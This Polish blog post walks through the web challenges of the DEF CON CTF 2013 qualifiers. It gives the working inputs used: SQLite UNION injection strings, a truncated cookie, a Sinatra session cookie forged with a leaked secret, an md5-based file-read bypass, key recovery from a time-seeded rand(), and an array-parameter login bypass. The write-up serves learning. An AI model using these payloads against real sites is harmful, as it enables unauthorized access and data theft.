Cze
17

DEF CON CTF 2013 Quals – web writeups

Zwykle mój udział w CTF-owych eventach ograniczał się do zarejestrowania pod losowym nickiem, zerknięcia na co ciekawsze zadania webowe i próby (czasami nawet udanej) rozwiązania ich w krótkim, kilkunastominutowym przedziale czasu. Taki CTFowy blitz. Tym razem postanowiłem dołączyć do teamu i zmierzyć się z zadaniami z DEF CON CTF (ofc, zabrałem się tylko za weby). Oto mój krótki, pisany zaraz po zakończeniu writeup kategorii web (zwanej 3dub).

babysfirst
Proste SQL Injection oparte na bazie SQLite. Możemy skorzystać z tabeli sqlite_master, żeby wyciągnąć nazwy tabel i ich kolumn:

username=' or 1=1 union select sql from sqlite_master WHERE type='table'--
logged in as CREATE TABLE keys (value string)

Następnie wyciągamy flagę z bazy:

username=' or 1=1 union select value from keys--
The key is: literally online lolling on line WucGesJi

badmedicine
Możemy zalogować się na każde konto, oprócz konta admin. Każde zalogowanie odpowiada za ustawienie ciasteczka, zależnego od loginu. Jedna literka loginu odpowiada dwóm znaczkom ciasteczka. Nie będziemy próbowali zgadywać w jaki sposób tworzone są ciastka. Zalogujemy się jako adminX, co da nam ciasteczko: username=09c8259ca076, następnie usuniemy ostatnie dwa znaczki ciasteczka (76), które odpowiadają za literkę X. Ustawienie ciasteczka na username=09c8259ca0 kończy zadanie:

The key is: who wants oatmeal raisin anyways twumpAdby

hypeman
Próba odwiedzenia sekretu admina (/secrets/0) kończy się błędem, który zdradza wiele informacji. Między innymi:

rack.session.options 	
{
  :path=>"/", 
  :domain=>nil, 
  :expire_after=>nil, 
  :secure=>false, 
  :httponly=>true, 
  :defer=>false, 
  :renew=>false, 
  :sidbits=>128, 
  :secure_random=>SecureRandom, 
  :secret=>"wroashsoxDiculReejLykUssyifabEdGhovHabno", 
  :coder=>#<Rack::Session::Cookie::Base64::Marshal:0x000000034e2228>
}
rack.session.unpacked_cookie_data 	
{
  "session_id"=>"6ef1fd11f31860a44f2846c776492c72a3c6ab7233e27ec2c64f8d8ccb9420b4", 
  "tracking"=>
  {
    "HTTP_USER_AGENT"=>"50767cb0bf2f1f10587db0e2eb5a1e32d0c887fd",
    "HTTP_ACCEPT_ENCODING"=>"a0bfc876d68fe7aea700da5ea8925abac6f2f794",
    "HTTP_ACCEPT_LANGUAGE"=>"e88e52a62f706f3c0ae7d4caaf8925434a837c9f"},
    "csrf"=>"b688a1219c420e329efb59dfc33c111845d04641cfd140a32935e684ec722ab8", 
    "user_name"=>"xxxxxxxxx"
  }
}

Możemy postawić własny serwer, oparty o Sinatrę, a następnie stworzyć i podpisać ciasteczko, którego użyłby admin (mamy wartość :secret)

enable :sessions
set :session_secret, "wroashsoxDiculReejLykUssyifabEdGhovHabno"
session[:user_name] = 'admin'
session[:csrf] = "b688a1219c420e329efb59dfc33c111845d04641cfd140a32935e684ec722ab8"

Swoje ciasteczko podmieniamy na te otrzymane. Od tej pory widzimy flagę:

watch out for this Etdeksogav

rememberme
Zauważmy, że md5(‚usernames.txt’) = 60635c6862d44e8ac17dc5e144c66539.
Ta obserwacja pomoże nam uzyskać dostęp do kolejnych plików. passwords.txt wygląda na honeypot, spójrzmy lepiej na źródło pliku genfile.php.

getfile.php?filename=getfile.php&accesscode=md5('getfile.php')
getfile.php?filename=getfile.php&accesscode=0701593e23e676eaba834916a6ac7272

Z kodu wynika, że istnieje plik key.txt

getfile.php?filename=key.txt&accesscode=65c2a527098e1f7747eec58e1925b453

Kolejne linie podpowiadają jak go odczytać.

$value = time();
/* --- cut --- */
srand($value);
/* --- cut --- */
$key = rand();
$cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);

Zauważmy, że mamy wszystko co potrzeba do rozwiązania. Mamy tekst, który chcemy odszyfrować. Wartość klucza możemy łatwo odtworzyć, z uwagi na srand(). To właśnie dzięki srand() wiemy, że rand() zwraca zawsze taki sam wynik. Znając seed wprowadzony do srand() potrafimy odtworzyć klucz. A przecież naszym seedem jest wartosć funkcji time(), która znamy (wiemy przecież w jakim momencie wysłaliśmy request do serwera, aby wyświetlił zawartość key.txt, a nawet, gdy nie potrafimy jej dokładnie określić, to możemy brute-force’ować niewielki przedział oscylujący blisko time()).
Następnie dzięki mcrypt_decrypt() dostajemy flagę:

To boldly go where no one has gone before WMx8reNS

worsemedicine
Najszybsze punkty, w całym zestawie. Możemy zalogować się na dowolne konto, oprócz admina.
Skoro poniższy request nie działa:

_utf8=%26%23x2713%3B&verification=7734c700&username=admin&password=

spróbujmy trochę oszukać:

_utf8=%26%23x2713%3B&verification=7734c700&username[]=admin&password=

Voilà!

The key is: computers downtown and computers up in harlem

.

To już koniec. Wszystkie zadania w kategorii web zostały rozwiązane.

  

Dodaj komentarz

*

Audio-CAPTCHA